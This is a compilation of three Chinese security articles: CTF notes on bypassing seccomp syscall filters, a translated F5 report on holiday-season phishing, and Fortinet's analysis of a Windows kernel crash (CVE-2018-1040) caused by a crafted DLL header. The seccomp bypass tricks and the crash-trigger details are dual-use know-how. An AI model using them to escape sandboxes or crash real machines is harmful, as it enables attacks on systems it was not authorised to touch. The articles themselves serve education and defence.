open系统调用实际上是调用了openat，所以直接 调用openat，然后除了 read，write，其实还有两个
readv，和writev，这些就能绕过限制读取flag,有些连openat都禁用的可以 ptrace 修改syscall
这个能看 `zer0pts CTF2020的sycall kit`
第三种是 控制了 open，write，read的参数
比如最近的天翼杯里面的一道题
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0012
0006: 0x15 0x00 0x06 0x00000000 if (A != read) goto 0013
0007: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0008: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0012
0009: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0013
0010: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0011: 0x35 0x00 0x01 0x00000004 if (A < 0x4) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
还有 HACK 2020里面的一道
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000003 if (A == close) goto 0019
0007: 0x15 0x0b 0x00 0x0000000a if (A == mprotect) goto 0019
0008: 0x15 0x0a 0x00 0x000000e7 if (A == exit_group) goto 0019
0009: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0014
0010: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0011: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0020
0012: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0013: 0x15 0x05 0x06 0x00000000 if (A == 0x0) goto 0019 else goto 0020
0014: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0020
0015: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0018: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
这种限制 参数的 可以冲参数上有什么问题，去考虑，比如第二道
限制只能冲 0 读，那可以把 0 close 再open 就可以
然后第一道，也是fd 限制为0，但是
0007: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0008: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0012
fd为4个字节就能绕过
第四种是限制了sys_number,看起来完全无法利用一样，但是可以用32位的绕过或者用0x400000+sys_number，这样好像是调用了32位的ABI
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0009
0004: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0009
0005: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0009
0006: 0x15 0x02 0x00 0x00000101 if (A == openat) goto 0009
0007: 0x15 0x01 0x00 0x00000130 if (A == open_by_handle_at) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
这种就是 没判断
if (A < 0x40000000)
导致了可以 0x40000000+sys_number绕过，sys_number |= 0x40000000
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0006
0002: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0006
0003: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0006
0004: 0x15 0x01 0x00 0x00000005 if (A == fstat) goto 0006
0005: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
如果没有 if (A != ARCH_X86_64) 这个可以同32位的shellcode绕过过，具体的可以参考下
SCTF2020里面的`CoolCode` ,利用 `retfq` 切换到32模式，来执行指令
可以 看 [1](http://p4nda.top/2018/07/27/CISCN-Final/)
参考链接
[一道 CTF 题目学习 prctl 函数的沙箱过滤规则](https://www.anquanke.com/post/id/186447#h2-7)
[seccomp学习笔记](//veritas501.space/2018/05/05/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/))
[seccomp_sys](https://docs.rs/seccomp-sys/0.1.0/seccomp_sys/fn.seccomp_rule_add.html) | 社区文章 |
# F5 - 2018钓鱼欺诈报告
##### 译文声明
本文是翻译文章，文章原作者 F5，文章来源：f5.com
原文地址：<https://www.f5.com/labs/articles/threat-intelligence/2018-phishing-and-fraud-report--attacks-peak-during-the-holidays>
译文仅供参考，具体内容表达以及含义原文为准。
## 执行摘要
一年前的2017年11月，F5实验室发布了关于[网络钓鱼的秘密及如何阻止它](https://www.f5.com/labs/articles/threat-intelligence/phishing-the-secret-of-its-success-and-what-you-can-do-to-stop-it)的指导性报告。一年之后，钓鱼攻击毫无意外地继续保持着顶级攻击向量的地位，并且在许多情况下都是多向量攻击的初始攻击向量。过去两年来，钓鱼攻击导致的数据泄露事件稳步增长。在2018年，我们预计钓鱼攻击将超过web应用攻击成为数据泄露事件的头号成因。
在本报告中，我们重点关注了钓鱼欺诈攻击在“假日季节”（每年的10月至1月期间）的疯狂飙升。本报告分析了钓鱼攻击一年来的趋势、欺诈者最常冒充的公司、常见的诱饵、常见的恶意软件、凭据窃取的后果以及如何通过人员、流程和技术来阻止这类攻击等。
报告要点:
* 钓鱼欺诈季节开始于10月，所以请警醒起来。对员工进行钓鱼安全培训可有效减少恶意邮件、恶意链接和恶意附件的点击率（从33%降低至13%）。
* 常见的钓鱼诱饵应该成为安全意识培训的注重点。
* 2018年9月1日至10月31日期间发生的钓鱼攻击中有71%与“欺诈者最常冒充的十大公司”有关。这对于安全意识培训来说是一个好消息，不好的消息是，这十个公司恰恰是互联网上使用最广泛的邮件服务、技术服务和社交媒体平台等，这也意味着，所有人都是钓鱼攻击的目标。
* 通过拷贝知名公司的合法邮件，钓鱼邮件的质量现在越来越逼真了，足以愚弄大部分受害者。
* 金融机构是进入假日季节以来增长最快的钓鱼攻击目标。但我们期待着电子商务和快递业的崛起。
* 攻击者们越来越多地将恶意软件放在加密的网站上伪装。9月至10月期间68%的恶意软件网站使用了加密证书。
* 减少钓鱼攻击的关键是减少到达用户邮箱的钓鱼邮件的数量。但必须承认的一点是，即使您采用了web过滤、反病毒软件和多因素认证等控制措施，您企业的员工还是一样可能成为受害者。
## 引言
F5安全运营中心的数据表明，10月、11月和12月的钓鱼事件要比年平均值高出50%。
图1：F5 SOC的数据表明10、11、12这三个月的钓鱼事件显著上升
R-CISC的数据与F5 SOC的数据遥相呼应，它们的数据表明购物活动的高峰一直会持续到1月份，使得零售商成为攻击者感兴趣的目标。2018年R-CISC的调查表明，网络钓鱼、凭据窃取和账户接管（ATO）是最大的威胁和挑战。
## 钓鱼攻击：获取用户数据最简单的方式
不论是否假日季节，网络钓鱼一直都是一个主要的攻击向量，原因很简单：access is
everything。你的登录凭据、账户号码、社保号码、电子邮件地址、电话号码还有信用卡号码对欺诈者来说都是十分有用的信息 –
只要能帮助他们获得你账户的访问权限，他们就会想尽办法把这些信息偷过来。
图2中总结了F5
SOC在2014年1月至2017年底摧毁的恶意网站的类型，其中绝大多数都是钓鱼网站（75.6%），其次是包含恶意脚本的网站（11.3%）以及URL重定向网站（5.2%，实际上这一类别往往也与钓鱼活动有关）。手机钓鱼网站（2%）也是一个新出现的趋势。
图2：F5 SOC摧毁的大部分恶意网站都是钓鱼网站
## 网络钓鱼的工作原理
多年来网络钓鱼的技术和手段没有发生太大变化：它总是利用人们心理上的弱点来引诱人们访问伪造的网站和应用。
常见的网络钓鱼包括以下三个步骤：
1. 目标选择。寻找合适的受害者，尤其是他们的电子邮件地址和背景信息，以便发现他们的心理弱点。
2. 社会工程学。设置合适的诱饵来引诱受害者，以窃取他们的凭据或植入恶意软件。这些诱饵是针对受害者定制的。比如说到了今年年末攻击者就会利用企业年终活动和假日事件来设置合适的诱饵。
3. 技术工程。设计入侵受害者的方法，包括创建虚假网站、制作恶意软件以及躲避安全扫描器等。
图3：常见的钓鱼模式的三个步骤
## 常见的钓鱼诱饵
成功的钓鱼诱饵可以操纵人们的情绪（包括贪婪、关注、紧迫以及恐惧等），诱使人们打开钓鱼邮件并且点击诱饵。常见的诱饵案例包括：
* 账单或发票。金钱总能引起人们的关注。下图中“账单到期”的钓鱼邮件就是伪装成由F5主管发送给供应商的邮件。该邮件督促供应商对他们的账户逾期事宜进行回复。请注意邮件中尴尬的措辞和使用的借口。
图4：关于账单或发票的钓鱼邮件中往往包含恶意链接和恶意文档。
* 账户锁定通知。伪装成知名服务（如下图所示案例中的Facebook）的账户锁定通知往往要求用户点击邮件中的链接并提供更多身份验证信息。请注意下图中的发件人地址表明这是一个骗局。但该邮件的其他内容都相当有说服力，因为如前所述，该邮件拷贝了合法邮件的布局。
图5：虚假的Facebook钓鱼邮件 – 联邦起诉Park Jin Hyok时的证据
类似于Apple这样的文本邮件更难以被识别是否是钓鱼邮件，因为它们往往更加简洁，也没有什么图标（比若说常见的logo）来提示用户。下图的案例中就揭示了这一点，但内容中尴尬的措辞表明这是一个骗局。
图6：关于账户锁定的文本信息通常更难以被识别是否是骗局
* 权威人士和行政主管。企业员工往往需要快速响应来自高层管理人员或行政人员的电子邮件。下图案例中的钓鱼邮件就伪装成F5 CEO发送给员工的“紧急”通知。（请注意警告标签“外部邮件”表明这是一封钓鱼邮件，这种邮件应该是内部邮件，永远不会被贴上外部标签）
图7：高层管理人员的紧急邮件很有可能会促使员工点击它
* 订单或配送信息。这种钓鱼邮件通常包含用于检查订单状态或确认收货的链接（有时候收件人甚至都不是客户）。
图8：这种类型的诱饵在假日季节尤其流行
* 招聘和求职。这种钓鱼邮件通常伪装成来自HR或竞争对手的高管的邮件，督促收件人打开附件查看简历或职位描述。
图9：Park Jin Hyok案件的联邦起诉书中的求职钓鱼邮件
图10：Park Jin Hyok案件的联邦起诉书中的求职钓鱼邮件，内容是督促收件人打开附件中的简历（zip文件）
* [房地产/汇款诈骗](https://www.f5.com/labs/articles/threat-intelligence/the-email-that-could-steal-your-life-savings-and-leave-you-homeless)。这种钓鱼邮件通常伪装成房地产中介，向购房者提供新的（不同的）汇款地址，通常指向诈骗犯的银行账户。
图11：房地产汇款诈骗 – 账户号码变成了诈骗犯的银行号码
* “可信来源”的诱饵。这种钓鱼邮件利用受害者对发件人的信任和熟悉程度。邮件似乎是来自于朋友或同事（之前遭到钓鱼攻击并且被入侵），并且包含附件或网站链接。下图中的一个看起来十分可信的案例就是主题为“文档”的邮件，其中的URL看起来是指向Google URL（但不是Google文档），实际上它指向了一个托管在Google服务上的诈骗网站（看起来似乎是合法的）。
图12：登录页面看起来是合法的，但URL实际上并未指向一个有效的Google域名
* 银行账户通知。这种钓鱼邮件通常伪装成来自受害者的银行，其中包含“点击此处登录以获取您的银行对账单”。
图13：钓鱼邮件中的虚假银行登录链接，其登录页面表明上看起来似乎是合法的
其他常见的钓鱼诱饵还包括：
* 捐赠请求。伪装成来自于知名慈善机构的捐赠请求，这种钓鱼邮件在假日季节尤其普遍。
* 法律恐吓。伪装成来自国税局IRS、收款机构或政府机构的电子邮件，警告你欠钱了，并且威胁要采取法律行动。
* 退款或中奖通知。通常伪装成IRS的退税邮件或其他组织的中奖邮件。
## 钓鱼者最常伪装的企业（Top10）
虽然网络钓鱼攻击的目标各不相同，但2018年9月1日至10月31日期间超过71%的钓鱼攻击都是伪装成10个企业。根据我们的合作伙伴Webroot的数据，这10个企业主要分布在技术行业，包括软件公司和社交媒体公司、电子邮件服务商和文件共享服务商，和金融机构，包括银行和支付商。这些都是互联网上最受欢迎的服务，可以减少受害者的戒心。
这10个企业中的技术企业包括Microsoft、Google、Facebook、Apple、Adobe、Dropbox和DocuSign，占了9月至10月期间的钓鱼攻击的58%。
图14：2018年9月1日至10月31日钓鱼攻击最常伪装的企业Top 10（信息来源：Webroot）
技术企业占了7个，剩下的则是金融机构。
图15：钓鱼攻击最常伪装的企业Top 10中的行业分布（信息来源：Webroot）
## 欺诈者可利用被窃凭据做什么
根据被窃数据的类型不同 – PII、财务信息、医疗信息、教育信息、信用卡信息等 – 欺诈者可能实施不同的犯罪行为。如果欺诈者获得了用户的登录凭据 –
尤其是银行账户凭据 –
他们就会快速登入、接管这些账户，然后提走所有现金。有时他们也会追求其它目标。某些案例中，用户的信用卡信息被盗，然后犯罪分子会在暗网上出售这些数据。随之，买家可能会利用这些数据实施：
* 伪造信用卡。用空白卡伪造信用卡，然后在ATM取现或从在线商店购物。
图16：待售的伪造信用卡
* 购买服务。以较低的价格购买Netflix、Spotify、DirectTV或在线游戏等服务。
图17：暗网市场上出售的信用卡和终身账户
* 验证卡号是否有效。通过在音乐网站上进行小额交易（1美元）来验证信用卡信息是否有效。
* 雇佣或将信用卡信息出售给“钱骡子”。钱骡子是指通过被盗的信用卡购买商品，然后将这些商品出售，从而将钱洗白的人。
* 将这些信用卡信息用于其它犯罪行为之中，例如购买虚假域名、网络服务等，用于支持其它的犯罪行为。
* 购买算力进行挖矿。
* 在线出售被盗的卡信息。
图18：销售被盗星巴克礼品卡号码的广告
## 防范措施
进行的安全意识培训越多，员工就越能发现和避免风险。The more security awareness training is conducted,
the better employees are at spotting and avoiding risks.
### 注意事项
用户应该特别注意：
* PDF和ZIP类型的附件。可能包含恶意软件，除非其发送者完全可信，否则不要随意打开这类文件。
图19：要求用户在打开PDF文件之前先登录Adobe账户的钓鱼案例
* 短链接。某些短链接可能是恶意的（如bit.ly短链接服务），而鼠标悬停也不会显示出真实的URL地址。
* 浏览器中的证书警告。如果一个网站的安全证书无效、过期或不是由可信机构颁发的，浏览器就会显示证书警告。最好不要忽略这些警告。
* 邮件安全警告。如果一封“紧急”的邮件还要求进行登录或提供个人信息，或是点击链接/打开附件，建议在这样做之前确认再三。
* 意料之外的邮件。如果看到来自于朋友、熟人、同事或生意伙伴的意料之外的邮件，并且邮件中还要求提供敏感信息/点击链接/打开附件，建议先通过其它方式（例如电话）与邮件发送者先进行联系。
* 虚假的钓鱼网站。钓鱼网站现在制作得越来越逼真，如下图所示。用户应该养成在提供任何个人信息（如登录凭据或账户信息）之前，仔细检查URL是否正确的习惯。
图20：钓鱼邮件中的虚假PayPal网站链接
### 技术措施
安全意识培训是必要的，但技术措施同样也是必要的。一些建议如下：
* 邮件标签。清楚地对外部来源的邮件进行标记可以有效地阻止欺诈行为。如下图所示，一条简单、明确的信息足以提醒用户谨慎行事。
图21：邮件中的安全警告
* 反病毒软件（AV）。要接受这样一个事实：用户很有可能会被钓鱼，所以要依赖备份控制措施阻止恶意软件在整个企业环境中传播。AV软件可以在台式机和笔记本上实施，并在大多数情况下有效地阻止恶意软件的安装企图，但请记得将AV的更新策略设置为最少每天更新一次。
* 网站过滤。网站过滤方案可以阻止用户访问钓鱼网站。该措施不仅可以阻止企业被入侵，还可以向用户提供一个学习的宝贵机会：您所访问的网站已被企业的安全策略所阻止。
* 流量解密和检查。检测恶意软件的加密流量。
* 单点登录（SSO）。部署单点登录方案有助于减少密码疲劳，从而限制网络钓鱼攻击。通常情况下，用户需要管理的凭据越少，他们在多个应用程序中共享它们、使用弱密码、不安全地存储密码的可能性就越小（被盗凭据的一对多影响）。鉴于在2017年密码破解数据库就已经超过了[1万亿条记录](https://www.f5.com/labs/articles/threat-intelligence/lessons-learned-from-a-decade-of-data-breaches-29035)（这还是在2018年的Equifax和Facebook等数据泄露事件之前），攻击者能够在不到6小时内破解哈希密码，因此需要从技术上尽力支持访问控制的完整性。
* 多因素认证。应当在所有员工的所有访问，甚至是邮件中使用双因素认证。要充分认识到用户的凭据将会被钓鱼，并且不幸的是他们往往在多个网站中使用相同的凭据。即使这些没有发生，您也可能会遭到第三方合作伙伴被入侵、撞库攻击等。多因素认证意味着多一层的保障。
* 报告可疑的钓鱼邮件。向员工提供报告可疑钓鱼邮件的渠道。某些邮件客户端（例如Microsoft Outlook）现在内置了一个钓鱼警报按钮，可以向IT团队通知可疑的钓鱼邮件。如果你的邮件客户端没有包含此项功能，可以指示用户在遭到疑似钓鱼攻击时呼叫热线或安全团队。安全团队可以快速删除此类钓鱼威胁，并向所有员工发布警告。钓鱼攻击通常是一波一波的，因此员工可以在钓鱼攻击发生时得到警告。
* 更改电子邮件地址。如果员工遭到持续的大量钓鱼攻击，可以考虑更改他们的电子邮件地址。
* 使用CAPTCHA。验证码可以有效地区分人类和机器人。CAPTCHA技术很有效，但用户可能觉得很烦人，因此可以看情况使用，如果很可能是脚本或机器人，就使用它。
* 阻止机器人。机器人检测响应。
* 审查访问控制。定期审查员工的访问权限，尤其是那些可以访问关键系统的员工。这类员工应该优先接受钓鱼培训。
* 留意新注册的域名。钓鱼网站通常使用新注册的域名，这是钓鱼攻击的一个明显的标志，因为犯罪分子只是临时使用该域名，然后快速地废弃它们。根据Webroot在9月份收集到的数据，一周之后只有62%的钓鱼域名还活跃；38%的钓鱼域名都消失了。
* 实施网络欺诈检测。您的客户也可能会遭到钓鱼攻击，并被恶意软件感染。实施网络欺诈检测可以检测受感染的客户端，以阻止欺诈性交易的发生。
* 利用[honey tokens](https://www.f5.com/labs/articles/cisotociso/will-deception-as-a-defense-become-mainstream-25665)（蜜罐技术）。虚假的用户账户和电子邮件地址可用于监测攻击者是否在进行穷举式钓鱼攻击。
### 钓鱼事件响应
当客户凭据被窃时：
* 向客户发送通知，警告他们小心可能的钓鱼攻击，并发送钓鱼邮件的样例截图。建议点击了该钓鱼邮件的员工立刻呼叫热线寻求帮助。
* 立刻重置受影响用户的密码
* 建议客户验证他们的交易
当企业员工报告可疑的钓鱼攻击或已被成功钓鱼时：
* 不要批判该员工；他只是被专业人士欺骗了。应该感谢他们报告了此事件。
* 假设还有其他用户收到了相同的钓鱼邮件，并且已经点击了邮件中的恶意链接或附件。
* 在邮件系统中扫描该钓鱼邮件，从所有的邮箱中删除该钓鱼邮件。有很大的机会仍有人还没来得及打开该邮件，而且既然你已经知道了它的存在，你肯定不想还有人再中招。
* 重置所有受影响用户的密码。
* 向所有员工发送警报信息，包括诱饵的细节。
图22：F5安全团队向员工发送的钓鱼警报样例
* 审查访问日志，检查哪些人可能已经中招以及可能造成的损害。
* 保留事件执行报告的统计信息。永远不要让危机白白浪费掉。网络钓鱼攻击的测量成本和潜在损害是一个[非常有用的统计数据](https://www.f5.com/labs/articles/cisotociso/the-risk-pivot-succeeding-with-business-leadership-by-quantifying-operational-risk-24929)，可以用于跟踪未来风险支出的合理性。成功地阻止了攻击也证明了现有安全措施和流程的价值所在。
* 截取钓鱼攻击的图片，以便用于安全意识培训之中。一图胜千言，向用户展示企业内发生的真实犯罪者的真实攻击十分有助于提升用户的警醒意识。
## 结论
采取安全控制措施（包括安全意识培训）总是要比发生数据泄露事件的成本要低。请注意一年内可能会发生多次钓鱼攻击，并且钓鱼攻击可能会快速恶化：一个邮箱被钓鱼成功，然后攻击者利用该邮箱欺骗更多的人。处理钓鱼攻击与处理应用程序中的漏洞有很大的不同，你可以通过正常的安全事件响应流程修复漏洞，但钓鱼攻击是一种社会工程攻击，你不能在人的大脑中安装修复补丁（至少目前还不能），或是使用防火墙阻止他们点击邮件中的链接和附件。
无论是从成功概率还是从可以收集大量信息的角度来看，钓鱼攻击都非常有效，因此我们预计网络钓鱼将继续存在。从行政和技术角度来阻止网络钓鱼攻击至关重要。并没有可以阻止钓鱼攻击的一站式安全控制措施，因此一个包含人员、流程和技术的综合性控制框架可以有效减少企业面临的钓鱼风险。 | 社区文章 |
原文：<https://www.fortinet.com/blog/threat-research/microsoft-windows-remote-kernel-crash-vulnerability.html?utm_source=social>
**概述**
* * *
在2018年1月底，我们在Microsoft
Windows系统中发现了一个远程内核崩溃漏洞，并根据认真负责的披露流程向微软报告了这个安全问题。6月12日，微软发布了一份包含该漏洞修复程序的[公告](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-1040 "公告")，并将该漏洞标识为CVE-2018-1040。
实际上，这个内核崩溃漏洞位于Microsoft
Windows代码完整性内核模块“ci.dll”中。并且，目前所有流行的Windows版本都受该漏洞影响，这些版本包括Windows 10、Windows
7、Windows 8.1、Windows Server 2008、Windows Server 2012和Windows Server 2016。
这个漏洞可以通过从网站或SMB共享远程下载精心制作的.dll或.lib文件来触发。使用IE或Edge浏览器下载并保存漏洞触发文件时，会执行一个让Windows内核指针取消引用无效地址的操作，从而导致Windows
Bugcheck（内核崩溃）。对于Windows 10来说，系统重新启动后，用户登录时又会发生内核崩溃，从而进入一个死循环。
在本文中，我们将同读者一道对这个漏洞进行详细的分析。
**漏洞分析**
* * *
为了重现该远程内核崩溃漏洞，可以在Windows
10上打开IE或Edge浏览器，并在地址栏输入<http://192.168.0.111/poc.dll（可以是任何托管PoC文件的URL），然后在弹出的窗口中选择“保存”。当保存文件poc.dll时，就会出现Windows>
10蓝屏死现象（内核崩溃）。对于Windows 10中来说，如果内核发生崩溃，即使重新启动，内核还会继续崩溃，从而导致Windows
10机器无法正常工作。对于用户来说，如果遇到这种情况，那只好重装系统了。
以下是发生崩溃时的调用堆栈情况。
图1. 发生崩溃时的调用堆栈
从上面的调用堆栈输出可以看到，内核崩溃出现在调用函数“KERNELBASE！GetFileVersionInfoSizeExW”的过程中，然后它会调用“KERNELBASE！LoadLibraryExW”函数。最后，导致内核彻底崩溃。
当IE/Edge下载.dll或.lib文件并将其保存到磁盘上时，将调用函数“KERNELBASE！GetFileVersionInfoSizeExW”来获取.dll/.lib文件的版本信息。为了获取.dll/.lib文件的版本信息，它会调用函数“KERNELBASE！LoadLibraryExW”来加载.dll/.lib文件，这时dwFlags等于0x22。如果考察Microsoft的MSDN文档，我们可以看到dwFlags
0x22是“LOAD_LIBRARY_AS_DATAFILE（0x00000002）”和“LOAD_LIBRARY_AS_IMAGE_RESOURCE（0x00000020）”的组合。因此，IE/Edge会将下载的.dll/.lib文件作为一个资源.dll/.lib和数据文件进行加载来检索相关信息。对于我们进行制作的这个poc.dll来说，在Windows
10发生内核崩溃后，即使重新启动也无法恢复系统，这是因为用户登录Windows时，会扫描IE/Edge临时目录中的.dll/.lib文件。
函数LoadLibraryExW会加载我们精心构造的PoC文件，即poc.dll。当它处理SizeOfHeaders时，得到的大小为0x06，这是我们精心构造的一个值，实际上正确的大小是0x200。这样，在计算CI.dll文件中的CI!CipImageGetImageHash函数中的sha1散列块大小时，会导致整数溢出。溢出的块大小为0xfffffeb6。当溢出块大小为0xfffffe7a（这是经过计算后获得的）时，由于精心制作的sha1块大小过大，所以调用函数CI!SymCryptSha1AppendBlocks会导致大循环和内核内存读取访问冲突，致使系统内核崩溃。
图2.包含精心制作的SizeOfHeaders的poc.dll
通过逆向工程和跟踪，我们可以看到，对函数_CipImageGetImageHash的调用导致sha1块大小整数溢出。
PAGE:85D15618 _CipImageGetImageHash@36 proc near ; CODE XREF:
......
PAGE:85D1571F mov edx, edi
PAGE:85D15721 mov ecx, [ebp+arg_4]
PAGE:85D15724 call _HashpHashBytes@12 ; HashpHashBytes(x,x,x)
PAGE:85D15729 lea edx, [esi+0A0h]
PAGE:85D1572F
PAGE:85D1572F loc_85D1572F: ; CODE XREF: CipImageGetImageHash(x,x,x,x,x,x,x,x,x)+CF↑j
PAGE:85D1572F mov edi, [ebp+arg_10]
PAGE:85D15732 mov eax, [edi+54h] ; -----> here [edi+54h] is obtained from poc.dll at offset 0x104, its value is 0x06.
PAGE:85D15735 sub eax, edx ; -----> here edx=83560150
PAGE:85D15737 add eax, [ebp+BaseAddress] ----> here [ebp+BaseAddress]=83560000
PAGE:85D1573A push eax ; ---------> So, after the above calculation, eax occurs integer subtraction overflow, result in eax=fffffeb6
PAGE:85D1573B mov ecx, [ebp+arg_4]
PAGE:85D1573E call _HashpHashBytes@12 ------> the function call chain finally results in a kernel crash
PAGE:85D15743 mov esi, [edi+54h] ;
PAGE:85D15746 mov [ebp+var_30], esi
在以下函数中，执行的边界检查不够充分:
.text:85D0368C @SymCryptHashAppendInternal@16 proc near
.text:85D0368C ; CODE XREF: SymCryptSha1Append(x,x,x)+10↑p
.text:85D0368C ; SymCryptMd5Append(x,x,x)+10↑p
.text:85D0368C
.text:85D0368C var_18 = dword ptr -18h
.text:85D0368C var_14 = dword ptr -14h
.text:85D0368C var_10 = dword ptr -10h
.text:85D0368C var_C = dword ptr -0Ch
.text:85D0368C var_8 = dword ptr -8
.text:85D0368C var_4 = dword ptr -4
.text:85D0368C Src = dword ptr 8
.text:85D0368C MaxCount = dword ptr 0Ch
.text:85D0368C
.text:85D0368C mov edi, edi
.text:85D0368E push ebp
.text:85D0368F mov ebp, esp .
......
85D0372D mov ecx, [ebp+var_8]
.text:85D03730 mov edx, [ebp+var_18]
.text:85D03733 jmp short loc_85D0373B
.text:85D03735 ; --------------------------------------------------------------------------- .text:85D03735
.text:85D03735 loc_85D03735: ; CODE XREF: SymCryptHashAppendInternal(x,x,x,x)+46↑j
.text:85D03735 ; SymCryptHashAppendInternal(x,x,x,x)+52↑j
.text:85D03735 mov ecx, [ebp+Src]
.text:85D03738 mov [ebp+var_8], ecx
.text:85D0373B
.text:85D0373B loc_85D0373B: ; CODE XREF: SymCryptHashAppendInternal(x,x,x,x)+A7↑j
.text:85D0373B cmp esi, [edx+18h] ; ----> here [edx+18h] equals 40h, esi equals fffffe7a, due to unsigned integer comparison, the crafted block size is not found
.text:85D0373E jb short loc_85D03769
.text:85D03740 mov edi, [edx+1Ch]
.text:85D03743 lea eax, [ebp+var_C]
.text:85D03746 push eax
.text:85D03747 push esi
.text:85D03748 mov esi, [edx+0Ch]
.text:85D0374B add edi, ebx
.text:85D0374D mov ecx, esi
.text:85D0374F call ds:___guard_check_icall_fptr ; _guard_check_icall_nop(x)
.text:85D03755 mov edx, [ebp+var_8]
.text:85D03758 mov ecx, edi
.text:85D0375A call esi
使用溢出的sha1块大小后，最终会调用以下函数：
.text:85D01060 @SymCryptSha1AppendBlocks@16 proc near ; CODE XREF: SymCryptSha1Result(x,x)+40↑p
......
.text:85D010A4 mov eax, [ebp+arg_0] -----> here eax gets the overflowed sha1 block size= 0xfffffe7a
.text:85D010A7 mov [esp+0D0h+var_B4], edi
.text:85D010AB mov [esp+0D0h+var_C4], ecx
.text:85D010AF cmp eax, 40h
.text:85D010B2 jb loc_85D02507
.text:85D010B8 mov [esp+0D0h+var_58], ecx
.text:85D010BC mov ecx, [esp+0D0h+var_C0]
.text:85D010C0 mov [esp+0D0h+var_54], ecx
.text:85D010C4 lea ecx, [edx+8] ;
.text:85D010C7 shr eax, 6 -------> the overflowed block size is used as the following loop function counter
.text:85D010CA mov [esp+0D0h+var_60], esi
.text:85D010CE mov [esp+0D0h+var_5C], edi
.text:85D010D2 mov [esp+0D0h+var_68], ecx ;
.text:85D010D6 mov [esp+0D0h+var_50], eax -----> here is the loop counter
......
.text:85D01359 ror edx, 2
.text:85D0135C mov ecx, [ecx+28h]
.text:85D0135F bswap ecx
.text:85D01361 mov [esp+0D0h+var_6C], ecx
.text:85D01365 mov ecx, eax
.text:85D01367 rol ecx, 5
.text:85D0136A mov eax, edi
.text:85D0136C add ecx, [esp+0D0h+var_6C]
.text:85D01370 xor eax, edx
.text:85D01372 and eax, [esp+0D0h+var_C0]
.text:85D01376 xor eax, edi
.text:85D01378 add edi, 5A827999h
.text:85D0137E add eax, ecx
.text:85D01380 mov ecx, [esp+0D0h+var_68]
.text:85D01384 add eax, esi
.text:85D01386 mov esi, [esp+0D0h+var_C0]
.text:85D0138A mov [esp+0D0h+var_84], eax
.text:85D0138E ror esi, 2
.text:85D01391 mov ecx, [ecx+2Ch] ----> after a large loop call, here it results in a read access violation, so the bugcheck (kernel crash) occurs
.text:85D01394 bswap ecx
.text:85D01396 mov [esp+0D0h+var_9C], ecx
.......
.text:85D024DD mov ecx, [esp+0D0h+var_68]
.text:85D024E1 mov [esp+0D0h+var_54], eax
.text:85D024E5 add ecx, 40h ----> memory access pointer increases 0x40 in each loop
.text:85D024E8 mov [esp+0D0h+var_C0], eax
.text:85D024EC mov eax, [ebp+arg_0]
.text:85D024EF sub eax, 40h
.text:85D024F2 mov [esp+0D0h+var_68], ecx
.text:85D024F6 sub [esp+0D0h+var_50], 1 ------> here the loop counter decreases by 1, not equaling 0, to continue the loop. Due to the overflowed large sha1 block size, here a large loop is executed.
.text:85D024FE mov [ebp+arg_0], eax
.text:85D02501 jnz loc_85D010DD
.text:85D02507
通过上面的分析我们可以看到，远程内核崩溃的根本原因是LoadLibraryEx函数无法将精心构造的.dll/.lib文件正确解析为资源和数据文件。如果poc.dll包含精心设计的SizeOfHeaders值0x06（正确的值应为0x200），并且该值位于PoC文件中偏移量为0x104处时，就会发生整数溢出。
